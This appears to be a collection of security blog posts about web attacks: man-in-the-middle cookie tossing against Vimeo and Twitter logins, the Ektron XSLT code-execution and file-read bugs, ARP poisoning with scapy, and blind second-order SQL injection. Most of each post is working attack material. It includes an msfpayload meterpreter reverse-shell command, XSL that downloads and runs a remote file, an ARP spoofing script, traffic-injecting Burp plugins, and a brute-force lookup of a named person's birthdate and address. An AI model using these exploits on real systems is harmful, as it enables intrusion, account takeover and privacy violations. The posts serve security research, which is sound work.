Crypto Attacker Burp Plugin

I recently wrote a burp plugin for common crypto attacks in web apps. Check out the code on github (I also submitted to BApp store a couple days ago). I hope to add more modules as time goes on, but to start with, here is what it has:

  • Active Scanning to detect padding Oracle attacks
  • Active Scanning capabilities to detect input being encrypted with ECB and reflected back (can be slow)
  • Attack tab to encrypt/decrypt padding oracles
  • Attack tab to decrypt ECB where you control part of the request

Here are some slides about it, and giving some background on the attacks it’s doing:

And some screenshots of it in action:





I hope this is useful to some of you!

Cookie Tossing in the Middle

In the past I’ve talked about one way to get in the middle as an attacker and use Burp as a MiTM proxy. One very nice thing to do in this position is to write cookies. This is a small part of my Blackhat talk from March, with related posts here.

Bypassing Double Submit Cookies on Vimeo

Say, for example, you have a web app that uses double submit cookies to prevent CSRF. I talk about this too much. You can bypass this protection with XSS in a neighboring site, but here’s how to practically do it as an attacker in the middle (although there are a million ways to do this).

One example is When I was checking for OAuth CSRF flaws, vimeo seemed to do pretty good. They sent a state parameter and as far as I could tell this piece was fine. But for their generic CSRF protection, I noticed they were using plain double submit cookies. So a default POST request might look like this – note how the highlighted xsrft cookie and token parameter are equal:


It turns out that if you change the CSRF cookie/POST parameter pair, as long as they are equal the request will go through. So for example, even though you can’t read the secret cookie/post parameters without an xss, you could set the cookie (token) equal to “a” and the post parameter (xsrft) also equal to “a”. This is classic double submit. Vimeo relies on the fact that cookies are hard to write to prevent CSRF. On the same network, we can defeat this easily even if the requests are over HTTPS and the cookies are set with “secure”. Here are the hack steps:

  1. Redirect traffic to route through my attacker box, (like with ettercap, or with python and scapy like how I show Here). The goal is to simply arp poison the network and pass through all traffic, except port 80 is redirected to localhost Burp.
  2. Write an oversimplified burp plugin that waits for a specific request on the target domain (e.g. vimeo). This is not necessarily a request initiated by the user, as we’ll be forcing the user to make this request later. If the plugin sees that request, write the xsrft cookie to a known value. Note this will even write over secure/HttpOnly cookies. Although secure can prevent a cookie from being read over HTTP, it does not prevent it being written over. Although HSTS headers can mitigate this somewhat in some browsers, unless they force HTTPS at the root domain and all subdomains, then we can probably force the app to consume our attacker cookie:

    from burp import IBurpExtender
    from burp import IHttpListener
    class BurpExtender(IBurpExtender, IHttpListener):
    	target_domain = ""
    	target_path = "asdfasdfasdfasdfasdfasdf"
    	target_script = (
    """HTTP/1.1 200 OK
    Server: nginx
    Content-Type: text/html; charset=UTF-8
    document.cookie = "xsrft=bad111bad111;; expires=Wed, 16-Nov-2013 22:38:05 GMT;";
    alert("Bad cookies are set for " + document.domain);
    	def	registerExtenderCallbacks(self, callbacks):
    		self._helpers = callbacks.getHelpers()
    		callbacks.setExtensionName("Cookie Injector")
    	def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
    		if not messageIsRequest:
    			httpService = messageInfo.getHttpService()
    			# if this is our iframe, inject cookies in the response
    			if (BurpExtender.target_domain == httpService.getHost() and
    				BurpExtender.target_path in messageInfo.getRequest().tostring()):
    				print "pwned!"
  3. Our attack page doesn’t totally make use of our man in the middle, but it does use it for setting the CSRF cookie. Note the iframe request to – this response will be sent from the burp plugin we have in place. The rest of this attack is the same as my OAuth weakness post from a couple weaks ago. Obviously, there are a lot of improvements that could be made. If we were serious, we’d probably just wait for HTTP requests, insert Javascript into those to do our bidding for us. But this is just a demo.
       <script type="text/javascript">
       function fb_login() {
        return ("./fb_login.html", "_blank", "status=0,scrollbars=0,menubar=0,resizable=0,scrollbars=0,width=1,height=1"));
       function vimeo_addlogin() {
         return ("./vimeo_submit.html", "_blank", "status=0,scrollbars=0,menubar=0,resizable=0,scrollbars=0,width=1,height=1"));
       function pwn() {
         win1 = fb_login();
       function pwn2() {
         win2 = vimeo_addlogin();
       <p>This is just meant to be a dirty/simple PoC, and makes very little attempt at being stealthy</p>
       <p>To repro:</p>
       <li>login to vimeo</li>
       <li>First the cookies need to be set for This is accomplished with MiTM and the iframe below,which should alert immediately. Done?</li>
       <li>click "pwn"</li>
       <li>click "pwn2" - the easiest way to hide this is with 2 clicks</li>
       <li>An attacker now owns your vimeo account!</li>
       <!-- necessary to get cookies if we haven't visited facebook -->
       < iframe height="1px" width="1px" style="position:absolute;top:0;left:0';" src="" sandbox></iframe>
       <!--Note this will set our vimeo cookies -->
       < iframe height="1px" width="1px" style="position:absolute;top:0;left:0';" src="" ></iframe>
      <a href="#" onclick="pwn()">pwn</a><br />
      <a href="#" onclick="pwn2()">pwn2</a>

Here is the attack in action:

Logging Someone into Another site

There was some confusion on my last post with OAuth CSRF I think, about it only being a Facebook problem. I don’t believe this is true. Although Facebook should fix the CSRF on their login imo, in a variety of circumstances it’s still possible to do almost the same attack against sites using other identity providers, like Twitter, Google, etc. (even though these other ID providers don’t have CSRF in their login). One of these circumstances is if there is an XSS somewhere in an ID provider’s neighbor site (e.g. if has xss you could log someone in to your attacker Google account). Another of these circumstances is if there is a man in the middle, where you can just manufacture this xss. This is what I’m showing here.

We can modify the OAuth CSRF attack above just slightly, and a man in the middle can compromise these sites with Twitter instead of Facebook. Here are the hack steps.

  1. Redirect traffic to route through my attacker box, as illustrated Here. This simply arp poisons the network, and passes through all traffic, except port 80 is redirected to localhost Burp.
  2. Write a Burp Plugin to toss cookies similar to above. In this case, it will toss cookies into Twitter to log the victim in as the attacker
    from burp import IBurpExtender
    from burp import IHttpListener
    class BurpExtender(IBurpExtender, IHttpListener):
    	target_domain = ""
    	target_path = "asdfasdfasdfasdfasdfasdf"
    	target_script = (
    """HTTP/1.1 200 OK
    Server: nginx
    Content-Type: text/html; charset=UTF-8
    document.cookie = "_twitter_sess=BAh7EDoJdXNlcmwrB1DcLEM6D2NyZWF0ZWRfYXRsKwh3WImrPAE6DnJldHVy%250Abl90byJlaHR0cHM6Ly9hcGkudHdpdHRlci5jb20vb2F1dGgvYXV0aGVudGlj%250AYXRlP29hdXRoX3Rva2VuPVVGQ1pYamJaUGMySzNmaFVoWHZjM0Q4ZjAyZXJN%250AUU1oZmxKc21remxrOhNzaG93X2hlbHBfbGluazA6FWluX25ld191c2VyX2Zs%250Ab3cwOgxjc3JmX2lkIiVhMzc3YWM3NjQ1ODJlOTNhODY5YjgyNDVjMjc1YTEw%250AYyIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFz%250AaHsABjoKQHVzZWR7ADoTcGFzc3dvcmRfdG9rZW4wOhBzdGF5X3NlY3VyZVQ6%250AG3Nlc3Npb25fcGFzc3dvcmRfdG9rZW4wOgdpZCIlMmU2OGZhNGVjYWY1MGUy%250AMTVkYjllOGU0MTYyMjdiNGE%253D--e649d4f0aa1f2c4108d1539caa322af0ae32c8a4;;Path=/;Expires=Thu, 02-Feb-2023";
    document.cookie = "auth_token=05a111348a605f4f546e60e6584adc4d4c69eacf;;Path=/;Expires=Thu, 02-Feb-2023 18:21:11 GMT";
    document.cookie = "twid=u%3D1127013456%7C0skYHxGKiKD8EF9Yb1fQqI%2F5YVk%3D;Domain=.twitter;Path=/;Expires=Thu, 02-Feb-2023 18:21:11 GMT";
    document.cookie = "twll=l%3D1360087643;;Path=/;Expires=Thu, 02-Feb-2023 18:21:11 GMT";
    alert("Bad cookies are set for " + document.domain);
    	def	registerExtenderCallbacks(self, callbacks):
    		self._helpers = callbacks.getHelpers()
    		callbacks.setExtensionName("Cookie Injector")
    	def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
    		if not messageIsRequest:
    			httpService = messageInfo.getHttpService()
    			# if this is our iframe, inject cookies in the response
    			if (BurpExtender.target_domain == httpService.getHost() and
    				BurpExtender.target_path in messageInfo.getRequest().tostring()):
    				print "Twitter Cookies Tossed!"
  3. Once again, continue with a nearly identical attack, but this time using Twitter as the identity provider instead of Facebook. Here is an example against Goodreads. In practice, this is essentially useless since Goodreads is over HTTP, but the same principles apply to sites over HTTPS.
       <script type="text/javascript">
       function pwn() {
         location = "";
       <p>This is just meant to be a dirty/simple PoC, and makes very little attempt at being stealthy</p>
       <p>To repro:</p>
       <li>login to goodreads</li>
       <li>First the cookies need to be set for twitter. This is accomplished with MiTM and the iframe below,which should alert immediately. Done?</li>
       <li>click "pwn"</li>
       <li>An attacker now owns your goodreads account!</li>
       < iframe height="1px" width="1px" style="position:absolute;top:0;left:0';" src="" ></iframe>
      <a href="#" onclick="pwn()">pwn</a><br />

Here is a video of this in action. Again, what this is doing is arp poisoning the network, logging the victim in to the attacker’s twitter account, and then exploiting the OAuth CSRF. In retrospect, I should have picked on a site that uses HTTPS for better effect :)

CVE-2012-5357,CVE-1012-5358 Cool Ektron XSLT RCE Bugs

In early 2011, I met a fully updated 8.02SP2 Ektron and it was a bunch of bugs at first sight. Ektron is a CMS. It isn’t a household name like wordpress, but it’s actually used on quite a few very big enterprise-like sites. Subsequently a few of these bugs have been found independently, but to my knowledge my favorites (CVE-2012-5357,CVE-1012-5358) have never been publicly written about.

I was originally planning to talk about these in our New Ways I’m Going to Hack your Web App talk which came over nine months after I reported the issue. In fact, it was a part of the talk at Bluehat, where it was a hit when I used Metasploit for the demo :)

Unfortunately, there was some pressure at the time to keep this out of the 28c3 and Blakhat AD versions of the talk. Booo. But on October 15th 2012, MSVR released an advisory, so at long last I’ll give some technical details on a couple of the more interesting bugs I found.

CVE-5357 – Unauthenticated code execution in the context of web server

The root cause of this is that Ektron processed user-controlled XSL from a page that required no auth. They used the XslCompiledTransform class with enablescript set to true. This scripting allows the user to execute code, as documented here.

Here are hack steps to get a meterpreter shell using this:

  1. Create the shellcode we’ll use using the following. At the time of the exploit, naming to .txt seemed to evade antivirus, although at some point this stopped working reliably.
  2. ./msfpayload windows/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=80 r | ./msfencode –t exe –o output.txt
  3. Upload output.txt to
  4. Start a multistage metasploit listener from msfconsole on a reachable attacker box.
  5. use exploit/multi/handler
    set payload windows/meterpreter/reverse_http
    set LHOST <listen_address>
    set LPORT 80
  6. Upload the following code to
  7. <?xml version='1.0'?>
    <xsl:stylesheet version="1.0"
      <msxsl:script language="C#" implements-prefix="user">
    public string xml()
                System.Net.WebClient client = new System.Net.WebClient();
                client.DownloadFile(@"", @"C:\\windows\\TEMP\\test92.txt");
                System.Diagnostics.Process p = new System.Diagnostics.Process();
                p.StartInfo.UseShellExecute = false;
                p.StartInfo.RedirectStandardOutput = true;
                p.StartInfo.FileName = @"C:\\windows\\TEMP\\test92.txt";
               return "hai";
      <xsl:template match="/">
        <xsl:value-of select="user:xml()"/>
  8. Do the following post request, which will cause ektron to process the xsl. Ektron did check the referer, but it did NOT check any auth info, and there is no secret information in this POST request at all. Notice the xslt= which points to the xslt file we created in step 4. When processed, this will connect back to our listener we setup in step 1.
  9. POST /WorkArea/ContentDesigner/ekajaxtransform.aspx HTTP/1.1
    Host: ektronsite
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0) Gecko/20100101 Firefox/4.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip, deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 115
    Proxy-Connection: keep-alive
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Referer: https://ektronsite
    xml=AAA&xslt= &arg0=mode%3Ddesign&arg1=skinPath%3D%2FWorkArea%2Fcsslib%2FContentDesigner%2F& arg2=srcPath%3D%2FWorkArea%2FContentDesigner%2F&arg3=baseURL%3Dhttp%3A%2F%2Fektronsite& arg4=LangType%3D1033& arg5=sEditPropToolTip%3DEdit%20Field%3A

One of the early mitigations was to limit egress access, but it turns out you can just as easily specify the xsl inline. Another early mitigation was to IP restrict access to the Ektron management console. However, Ektron had multiple clientside vulnerabilities. We were able to blend clientside bugs with this to still exploit.

CVE-5358 Local File Read

After 5357 was fixed, I was testing that fix, and it turns out there was another related vulnerability. They had configured the xsl with enableDocumentFunction set to true. This vulnerability allows an unauthenticated attacker to read arbitrary files, such as web.config and machine.config. This would allow an attacker to perform several attacks, like bypassing authentication, modifying viewstate, bringing down the server, etc. I could spend a lot of time here, but we can agree reading the machinekey is bad.

Hack steps to retrieve the machinekey:

  1. URL encode the following xsl
  2. <?xml version='1.0'?>
    <xsl:stylesheet version="1.0"
      <xsl:template match="/">
        <xsl:value-of select="document('g:\EKTRON\web.config')//machineKey/@decryptionKey"/>
        <xsl:value-of select="foo"/>
  3. Do the following POST. Note this is unauthenticated
  4. POST /WorkArea/ContentDesigner/ekajaxtransform.aspx HTTP/1.1
    Host: ektronsite
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Referer: https://ektronsite
    Content-Length: 1217
  5. In the response the decryptionkey will be echoed back F42A9567917AC601F476CB26731E4E116351E9465DBDB32A35DA23C01F4ED963


Remember in early 2011 when nmap scripting was fairly new? This was one of my first attempts at that. It isn’t much, but it helped me fingerprint the instances of ektron we had.

description = [[
Attempts to check if ektron is running on one of a few paths
-- @output
-- 80/tcp open  http
-- |_ http-login-form: HTTP login detected
-- HTTP authentication information gathering script
-- rev 1.0 (2011-02-06)
author = "Rich Lundeen"
license = "Same as Nmap--See"
categories = {"webstersprodigy"}
portrule = shortport.port_or_service({80, 443, 8080}, {"http","https"})
parse_url = function(url)
  local re ="^([^:]*):[/]*([^/]*)", 0, "C")
  local s, e, t = re:exec(url, 0, 0)
  local proto = string.sub(url, t[1], t[2])
  local host = string.sub(url, t[3], t[4])
  local path = string.sub(url, t[4] + 1)
  local port = string.find(host, ":")
  if port ~= nil then
    --TODO check bounds, sanity, cast port to an int
    local thost = string.sub(host, 0, port-1)
    port = string.sub(host, port+1)
    host = thost
    if proto == "http" then
      port = 80
    elseif proto == "https" then
      port = 443
  return host, port, path
--attempting to be compatible with nessus function in
--in this case, host is a url - it should use get_http_page
--get_http_page = function(port, host, redirect)
--port and url are objects passed to the action function
--redirect an integer to prohibit loops
get_http_page_nmap = function(port, host, redirect, path)
  if path == nil then
    path = "/"
  if redirect == nil then
    redirect = 2
  local answer = http.get(host, port, path)
  if ((answer.header.location ~= nil) and (redirect > 0) and
      (answer.status >=300) and (answer.status < 400)) then
    nhost, nport, npath = parse_url(answer.header.location)
    if (((nhost ~= host.targetname) and (nhost ~= host.ip) and
        (nhost ~= or nport ~= port.number ) then
      --cannot redirect more, different service
      return answer, path
      return get_http_page_nmap(port, host, redirect-1, npath)
  return answer, path
action = function(host, port)
  local ektronpaths = {
  for i,ektronpath in ipairs(ektronpaths) do
    local result, path = get_http_page_nmap(port, host, 3, ektronpath)
    local loginflags = pcre.flags().CASELESS + pcre.flags().MULTILINE
    local loginre = {"ektron" , loginflags, "C") }
    local loginform = false
    for i,v in ipairs(loginre) do
      local ismatch, j = v:match(result.body, 0)
      if ismatch then
        loginform = true
    if loginform then
      return "Ektron instance likely at " .. path


Supposedly the latest version of Ektron has patched this. I don’t have a version to work on at the moment so I’m unable to personally verify. Regardless – be sure to upgrade. With Ektron I’d also highly recommend segregating the management piece so that it’s not exposed. I’d recommend only trusting people to author content that you trust with the server. Also, people writing content probably shouldn’t be allowed to open Facebook in another browser tab…

For XSL in general – there are a lot of bad things attackers can do if you process untrusted XSL. I recommend trying to avoid processing untrusted XSL at all unless you really know what you’re doing. With .NET xslcompiledtransform for example, even if you disable scripting and enableDocumentFunction, it’s still difficult to prevent things like DoS attacks. A good rule of thumb is to treat consuming XSL like you would treat running code, because that’s essentially what it is.

Rocking the Vote to Figure out how old my ex-Boss is

It’s probably not surprising that state governments can sometimes not care much about privacy and security on their websites. In this case, I was registering to vote on the official Washington site here: The authentication information is your name and date of birth… ok… W-I-L-L-I-A-M G-A-T-E-S

With a date of birth, you can see a voter’s address, and also the elections where he voted

As you can see, Jeff Bezos votes less often than Bill Gates since unlike Bill Gates, Mr Bezos skips primaries, special elections, and 2006

Around the office, it’s kind of a contest to figure out how old my ex-boss is. My co-workers have tried to use the old “let me see your gun license” trick, but meanwhile, I suck at social engineering. So WA voter registration website ftw!

I setup Burp Intruder to iterate on all the birthdays, placing the ex-boss in a range, like between 28 and 35. He has a relatively common name, but I also happen to know the neighborhood he lives in, so I can save these responses and come up with an exact date of birth. Just sort by size and look at all the valid addresses, in my case there were four hits but I can manually figure out which one is right.

and BAM, as long as he registered to vote now I have an age. It goes without saying this could also be used to extract street addresses, and times people have voted. Unfortunately although I found quite a few John Does at this point, it appears this particular John Doe failed to register to vote. When I asked him if he registered to vote, he confirmed he didn’t, that sneaky bastard.

Anyway, I’m not a fan of letting everyone in the world know my birthday and where I live and what elections I vote in. When I wrote Secretary Reed and mentioned I was concerned about this info all being available online, his office wrote back saying this is all apparently public record and there’s no way to opt out (and pointed at this: I think that kind of sucks Washington, but still, at least you’re not Idaho!

Some Practical ARP Poisoning with Scapy, IPTables, and Burp

ARP poisoning is a very old attack that you can use to get in the middle. A traditional focus of attacks like these is to gather information (whether that information is passwords, auth cookies, CSRF tokens, whatever) and there are sometimes ways to pull this off even against SSL sites (like SSL downgrades and funny domain names). One area I don’t think gets quite as much attention is using man in the middle as an active attack against flaws in various applications. Most of the information is available online, but the examples I’ve seen tend to be piecemeal and incomplete.

Getting an HTTP proxy in the Middle

In this example I’m going to use Backtrack, scapy, and Burp. While there are a lot of cool tools that implement ARP poisoning, like Ettercap and Cain & Abel, it’s straightforward to write your own that’s more precise and easier to see what’s going on.

Here’s a quick (Linux only) script that does several things. 1) it sets up iptables to forward all traffic except destination ports 80 and 443, and it routes 80 and 443 locally 2) at a given frequency, it sends arp packets to a victim that tells the victim to treat it as the gateway IP.

The code is hopefully straightforward. Usage might be python –victim=

from scapy.all import *
import time
import argparse
import os
import sys

def arpPoison(args):
  conf.iface= args.iface
  pkt = ARP()
  pkt.psrc = args.router
  pkt.pdst = args.victim
    while 1:
      send(pkt, verbose=args.verbose)
  except KeyboardInterrupt:

#default just grabs the default route, would be better
#but this just works and people don't have to install external libs
def getDefRoute(args):
  data = os.popen("/sbin/route -n ").readlines()
  for line in data:
    if line.startswith("") and (args.iface in line):
      print "Setting route to the default: " + line.split()[1]
      args.router = line.split()[1]
  print "Error: unable to find default route" 

#default just grabs the default IP, would be better
#but this just works and people don't have to install external libs
def getDefIP(args):
  data = os.popen("/sbin/ifconfig " + args.iface).readlines()
  for line in data:
    if line.strip().startswith("inet addr"):
      args.proxy = line.split(":")[1].split()[0]
      print "setting proxy to: " + args.proxy
  print "Error: unable to find default IP" 

def fwconf(args):
  #write appropriate kernel config settings
  f = open("/proc/sys/net/ipv4/ip_forward", "w")
  f = open("/proc/sys/net/ipv4/conf/" + args.iface + "/send_redirects", "w")

  #iptables stuff
  os.system("/sbin/iptables --flush")
  os.system("/sbin/iptables -t nat --flush")
  os.system("/sbin/iptables --zero")
  os.system("/sbin/iptables -A FORWARD --in-interface " +  args.iface + " -j ACCEPT")
  os.system("/sbin/iptables -t nat --append POSTROUTING --out-interface " + args.iface + " -j MASQUERADE")
  #forward 80,443 to our proxy
  for port in args.ports.split(","):
    os.system("/sbin/iptables -t nat -A PREROUTING -p tcp --dport " + port + " --jump DNAT --to-destination " + args.proxy)

parser = argparse.ArgumentParser()
parser.add_argument('--victim', required=True, help="victim IP")
parser.add_argument('--router', default=None)
parser.add_argument('--iface', default='eth1')
parser.add_argument('--fwconf', type=bool, default=True, help="Try to auto configure firewall")
parser.add_argument('--freq', type=float, default=5.0, help="frequency to send packets, in seconds")
parser.add_argument('--ports', default="80,443", help="comma seperated list of ports to forward to proxy")
parser.add_argument('--proxy', default=None)
parser.add_argument('--verbose', type=bool, default=True)

args = parser.parse_args()

#set default args
if args.router == None:
if args.proxy == None:

#do iptables rules
if args.fwconf:


You can see some of what’s happening by dumping the arp tables on the victim machine. In my case, is the gateway I’m spoofing.

after the script is run against the victim, the arp tables are changed to the attacker controlled ‘proxy’ value (by default the attacker machine). In this example it’s easy to see the legitimate gateway at 00:25:9c:4d:b3:cc has been replaced with our attacker machine 00:0c:29:8c:c1:d8.

At this point all traffic routes through us, and our iptables is configured to send ports 80 and 443 to our ‘proxy’. Your proxy should be configured to listen on all interfaces and set to “invisible” mode.

You should be able to see HTTP and HTTPS traffic from the victim routing through Burp. All other traffic (e.g. DNS) should pass through unmodified. Obviously, the ports that are forwarded and whatnot can be pretty easily configured, but this post is focusing on web attacks.

The next few sections of this post are some attacks that can be useful.

Replacing an HTTP Download

It’s very common, even for some of the best security organizations in the world, to allow downloads over HTTP (even in the somewhat rare case that the rest of their site is over HTTPS). You don’t have to look very far to find applications that are able to be downloaded without encryption, and in fact Firefox was the first place I looked. Here’s a stupid example where I use a burp plugin to detect when a user tries to download firefox, and then I replace it with chrome’s setup. I’m not trying to point out any problems with Mozilla – 99% of the internet’s executables seem to be downloaded over HTTP.

The Burp plugin uses this, which seems pretty cool. This was my first chance using it.

from gds.burp.api import IProxyRequestHandler
from gds.burp.core import Component, implements

class ExamplePlugin(Component):


    def processRequest(self, request):
        if "Firefox%20Setup%20" in request.url.geturl() and ".exe" in request.url.geturl():
            print "Firefox download detected, redirecting"
   = ""
            request.raw = ("GET /downloads/Firefox%20Setup%2013.0.1.exe HTTP/1.1\r\n" +

Clientside Attacks

Clientside attacks in the middle can be super interesting, and they include a lot of scenarios that aren’t always possible otherwise. Here’s a non-comprehensive list that comes to mind:

  • XSS in any HTTP site, and sometimes interaction with HTTPS sites if cookies aren’t secure
  • Cookie forcing is possible. E.g. if a CSRF protection compares a post parameter to a cookie then you can set the cookie and perform the CSRF, even if the site is HTTPS only. We talk about this in our CCC talk.
  • Forced NTLM relaying with most domain networks.
  • If XSS is already possible, you can force a victim to make these requests without convincing them to click on a link. This could be useful in targeted internal attacks, like these, that could get shells

Using the same techniques as above, we can write dirty burp plugins that insert Javascript into HTTP responses.

    def processResponse(self, request):
        #very sloppy way to call only once, forcing exception on the first call
            self.attack += 1
            script = "<script>alert(document.domain)</script>"
            #simply inject into the first </head> we see
            if "</head>" in request.response.raw:
                print "Beginning Injection..."
                print type(request.response.raw)
                request.response.raw = request.response.raw.replace("</head>", script + "</head>", 1)
                #self.attack = 1


Blah. Blah. Use HTTPS and expensive switches or static ports. Blah. Does this solve the problem, really? Blah. Blah.

I do have a reason for working on this. Can you pwn the corporate network just using ARP poisoning? NTLM relay attacks are freaking deadly, and I’ll be talking about them over the next few weeks, once at work and then at Blackhat as a tool arsenal demo. Man in the middle attacks like these offer a great/nasty way to target that operations guy and get code execution. More on this later.

Blind Second Order SQL Injection with Burp and SqlMap

My favorite challenge on codegate this year was a second order SQL injection (yes, the ‘easy’ 100 level one). It wasn’t blind – that was even one of the hints early on. But I got to thinking about how I would exploit a blind second order SQL injection, and I decided to go that route. It’s something I’d never done before, and I thought it was an interesting problem. (I go off on tangents a lot – acme is awesome for still letting me be a pretty much non-contributing member of their team).

The Injection

The scenario was an mp3 player application, and the goal was to get what the admin was listening to. The injectable query is here, in the genre parameter:

POST /mp3_world/index.php?page=upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------265001916915724
Content-Length: 404

Content-Disposition: form-data; name="mp3"; filename='badfi"le.mp3'
Content-Type: text/plain

Content-Disposition: form-data; name="genre"

if(1=1 ,1, 2)
Content-Disposition: form-data; name="title"

9 95

Notice the  if(1=1 ,1, 2). In a second response, it will show [hiphop] if the query evaluates to true, and something else if it’s not true.

So the right way to proceed is to see if you can get information into the data output (e.g. the non-blind route). But say this is all the information you had, an oracle on another page from the request; an injection in request 1 and an oracle in response 2. Obviously, this is still exploitable, but how?

Extending Burp to Return the Oracle to an Injection Request

So here’s the strategy:

  • Do the injection request.
  • The response for the first request is meaningless – there’s no injection there. Throw it away and replace it with a response from a separate request that triggers the injection. Here, I just return TRUE if 1=1, False if not. Tools like sqlmap can work with this for blind sqli
  • Clean up; because the oracle is stored, we need to clean up old oracles that indicate whether the comparison was successful

The following code does this:

package burp;

import java.util.*;
import java.util.regex.*;

public class BurpExtender
    public IBurpExtenderCallbacks mCallbacks;

    //victimRequest is the value that triggers the alternate response
    public static String victimRequest = "";
    //replacementResponse replaces the response with this new one
    public static String replacementResponse = "";
    public static String injectionOracle = "[hiphop]";
    public static String deleteOld = "";

    public void processHttpMessage(String toolName, boolean messageIsRequest, IHttpRequestResponse messageInfo)
        if (!messageIsRequest)
            if (messageInfo.getHost().equals(victimRequest))
                boolean respvalue = false;
                try {
                    //assume this is our sql injection response; make a second request to return
                    System.out.println("This request needs a modified response");
                    //make a request to the second order to see if True or False
                    //with this one, no need for cookies or anything - it's based on IP
                    URL sqlcheck = new URL(replacementResponse);
                    URLConnection sc = sqlcheck.openConnection();
                    BufferedReader in = new BufferedReader(new InputStreamReader(sc.getInputStream()));

                    String inputLine;
                    String delIndex = "";
                    //if injectionOracle is in sqlcheck response, and the resp number in the title true. If not, false
                    while ((inputLine = in.readLine()) != null)
                        if (inputLine.contains(injectionOracle))
                            respvalue = true;
                        //grab all the indexes so we can delete them later = format "idx=?"
                        if (inputLine.contains("idx="))
                            int sindex = inputLine.indexOf("idx=");
                            int eindex = inputLine.indexOf(""", sindex);
                            delIndex = inputLine.substring(sindex+4, eindex);
                    String resp;
                    if (respvalue)
                        resp = "True";
                        resp = "False";
                    byte[] bResp = resp.getBytes();


                    //Clean up old songs
                    System.out.println("Deleting " + delIndex);
                    String delstr = deleteOld + delIndex;
                    URL delRequest = new URL(delstr);
                    URLConnection deslc = delRequest.openConnection();
                    in = new BufferedReader(new InputStreamReader(deslc.getInputStream()));

                catch ( ex){
                    System.out.println("something's wrong");
                catch (java.lang.Exception ex){
                    System.out.println("something else is wrong");


    public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks)
        mCallbacks = callbacks;

To compile, it should look like this (the source file is Here’s a command dump as a sanity check

PS C:UsersmopeyDocumentscodeburp_pluginssql_injection> ls

Directory: C:UsersmopeyDocumentscodeburp_pluginssql_injection

Mode                LastWriteTime     Length Name
----                -------------     ------ ----
d----         2/25/2012   5:00 PM            burp
-a---         2/25/2012   5:00 PM       6445
-a---         2/25/2012   3:47 PM        571 requestfile.ini
-a---         2/25/2012   6:16 PM      17168 sqlmap.config

PS C:UsersmopeyDocumentscodeburp_pluginssql_injection> javac
Note: uses or overrides a deprecated API.
Note: Recompile with -Xlint:deprecation for details.
PS C:UsersmopeyDocumentscodeburp_pluginssql_injection> rm .burpBurpExtender.class
PS C:UsersmopeyDocumentscodeburp_pluginssql_injection> mv .BurpExtender.class .burp
PS C:UsersmopeyDocumentscodeburp_pluginssql_injection> jar -cf .burpextender.jar .burpBurpExtender.class
PS C:UsersmopeyDocumentscodeburp_pluginssql_injection> cd .burp
PS C:UsersmopeyDocumentscodeburp_pluginssql_injectionburp> ls

Directory: C:UsersmopeyDocumentscodeburp_pluginssql_injectionburp

Mode                LastWriteTime     Length Name
----                -------------     ------ ----
-a---         2/25/2012   7:37 PM       4062 BurpExtender.class
-a---         2/24/2012  11:51 PM        345 burpextender.jar
-a---          6/3/2011   7:56 AM       7919
-a---         2/24/2012  11:19 PM       1587 IBurpExtenderCallbacks.class
-a---         2/24/2012  11:04 PM      13131
-a---         2/24/2012  11:19 PM        659 IHttpRequestResponse.class
-a---          6/3/2011   7:55 AM       4040
-a---         2/24/2012  11:19 PM        196 IMenuItemHandler.class
-a---          6/3/2011   7:56 AM       1453
-a---         2/24/2012  11:19 PM        477 IScanIssue.class
-a---          6/3/2011   7:56 AM       2826
-a---         2/24/2012  11:19 PM        347 IScanQueueItem.class
-a---          6/3/2011   7:56 AM       2309

Then to run:

java -Xmx512m -classpath burpextender.jar;burpsuite_pro_v1.4.05.jar burp.StartBurp

With this, you can make requests with Burp and it returns True or False in the single response.

Fenangling sqlmap

It took a little more work to get sqlmap working happily. One annoying thing is Burp’s proxy. It has a match and replace, but it doesn’t work well with multiple line things. Also, sqlmap doesn’t play well with multi-part forms.

I ended up using the extender more, and matching on words like how the match and replace in Burp’s proxy should work. This is a common trick, but it nearly doubled the code above to make everything happy (think multiple wrong content-lengths and url decodings and whatnot).

That said, the idea is straightforward. My base request looked something like this, and sqlmap was injecting into the ‘1’. By the way, the syntax is MySql.


Replace asdfghbleh= with “if (1=”

Replaces &aftercrap=crap with “,1,2)”

So, for example, the base query has (in the genre param)

if (1=1, 1, 2)

Sqlmap is happy at this point, and you can run arbitrary queries. When running sqlmap, I generally like to use the config file. Here are some of the changes for the initial sql injection detection.

#Base request from repeater with tags
requestFile = requestfile.ini
proxy = http://localhost:8080
testParameter = asdfghbleh
dbms = mysql
tech = B

After a happy base run, I enumerated databases, tables, and columns just like usual. As expected, it took a while to actually get information out (on the order of a couple hours) but I still think this is pretty slick. If this were actually blind I imagine it would be rated harder than 100 level. Dumping everything at once is way more efficient and all, but every time sqlmap decodes an arbitrary character, all I see anymore is blonde, brunette, redhead…

Auto login to LiveID with Burp Macros/Session

A common problem when doing a web app assessment is being logged out. This sort of thing sucks. It can happen for a variety of reasons. For example, I’ve run across sites that have short timeouts, and I’ve run across sites that log you out whenever a WAF fires. In scenarios like these, it’s handy to automate the process of logging back in.

This post is about how to do that using Burp macros and session handling against Live ID. The same technique could be used against almost any website with a login (gmail, facebook, yahoo, etc.) so this really isn’t a problem with Live at all. In 2010 I wrote a burp plugin that automated this same situation, but luckily since then Burp has improved and the plugin is no longer necessary.

To clarify what I’m trying to do

For the sake of clarity, say I want to be logged in to *, no matter what.  For example, an unauthenticated request to might look something like this.

and notice burp’s cookie jar is also empty

But it doesn’t matter. The request goes through anyway, exactly as if I were logged in in the first place.

The same thing should happen if I’ve logged out, been logged out, my session expired, etc. The same thing should happen whether I’m in repeater, scanner, intruder, etc. I just want to always be logged in.

First, the easy way

If you load this burp config file it will have everything pretty much setup to auto login to live. All you should need to do is to add your creds to the ‘ login’ macro in request 3 where it says YOURUSER and YOURPASSWORD.


